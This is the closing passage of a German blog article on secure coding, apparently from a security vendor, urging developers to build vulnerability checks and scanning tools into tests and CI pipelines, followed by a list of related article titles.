Als Entwickler haben Sie die Möglichkeit, Ihre Software für alle sicherer zu machen. Beginnen Sie damit, Sicherheitsfehler genauso wichtig zu behandeln wie Funktionsfehler. Beziehen Sie die oben genannten Schwachstellen in Ihre Testfälle und Bedrohungsmodelle ein. Und machen Sie das nicht alleine – nutzen Sie Sicherheitstools und -dienste, die sich in Ihre IDE und CI integrieren lassen. Sie können damit beginnen, einen kostenlosen Scan mit Aikido ähnlichen Plattformen für eines Ihrer Projekte durchzuführen, um zu sehen, was dabei herauskommt. Das ist oft sehr aufschlussreich! Richten Sie diese Tools so ein, dass sie bei jedem Pull-Request ausgeführt werden, damit Probleme frühzeitig erkannt werden, wenn ihre Behebung noch am kostengünstigsten ist.

Sichere Programmierung ist ein Prozess, kein Ziel. Aber wenn Sie sich dieser häufigen Schwachstellen bewusst sind und proaktiv die richtigen Methoden und Tools einsetzen, können Sie Ihr Risiko drastisch reduzieren. Lassen Sie uns Code veröffentlichen, der nicht nur großartig, sondern auch von Grund auf sicher ist. Ihre Nutzer (und Ihr zukünftiges Ich) werden es Ihnen danken.

Weiterlesen:
Die 9 größten Sicherheitslücken bei Docker Container    
Die 7 größten Sicherheitslücken Cloud    
Die 10 wichtigsten Sicherheitslücken in Webanwendungen, die jedes Team kennen sollte    
Kubernetes-Sicherheit 9 wichtigsten Kubernetes-Sicherheit und Fehlkonfigurationen Kubernetes-Sicherheit    
Die 10 wichtigsten Python-Sicherheitslücken, die Entwickler vermeiden sollten    
Die 10 wichtigsten Sicherheitslücken in JavaScript in modernen Webanwendungen    
Sicherheit der Software-Lieferkette 9 wichtigsten Sicherheit der Software-Lieferkette erklärt

​